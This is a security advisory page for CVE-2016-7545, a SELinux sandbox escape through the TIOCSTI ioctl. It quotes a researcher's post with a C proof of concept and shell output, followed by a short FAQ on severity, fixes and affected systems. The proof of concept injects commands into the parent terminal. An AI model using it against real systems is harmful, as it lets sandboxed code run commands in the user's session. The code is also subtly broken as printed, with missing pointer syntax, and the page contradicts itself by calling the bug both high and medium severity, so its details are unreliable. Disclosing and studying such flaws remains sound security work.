CVE-2016-7545: High severity SELinux Project SELinux vulnerability
Hi,
When executing a program via the SELinux sandbox, the nonpriv session can escape to the parent session by using the TIOCSTI ioctl to push characters into the terminal's input buffer, allowing an attacker to escape the sandbox.
$ cat test.c #include <unistd.h> #include <sys/ioctl.h>
int main() { char cmd = "id\n"; while(cmd) ioctl(0, TIOCSTI, cmd++); execlp("/bin/id", "id", NULL); }
$ gcc test.c -o test $ /bin/sandbox ./test id uid=1000 gid=1000 groups=1000 context=unconfinedu:unconfinedr:sandboxt:s0:c47,c176 [saken@ghetto ~]$ id <------ did not type this uid=1000(saken) gid=1000(saken) groups=1000(saken) context=unconfinedu:unconfinedr:unconfinedt:s0-s0:c0.c1023
This is similar to CVE-2016-2568, CVE-2016-2779, etc.
Thanks, Federico Bento.
Other sources
SELinux policycoreutils allows local users to execute arbitrary commands outside of the sandbox via a crafted TIOCSTI ioctl call.
— Debian
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2016-7545?
CVE-2016-7545 is classified as a medium severity vulnerability due to its potential to allow sandbox escape.
How do I fix CVE-2016-7545?
To mitigate CVE-2016-7545, update the policycoreutils package to the versions 3.1-3, 3.4-1, or 3.5-2.
Which systems are affected by CVE-2016-7545?
CVE-2016-7545 affects various distributions including Red Hat Enterprise Linux 6.0, 7.0, and SELinux.
What type of attack does CVE-2016-7545 enable?
CVE-2016-7545 enables an attacker to escape from a sandbox environment to the parent session.
Is there a known exploit for CVE-2016-7545?
Yes, CVE-2016-7545 can be exploited using the TIOCSTI ioctl command to manipulate terminal input.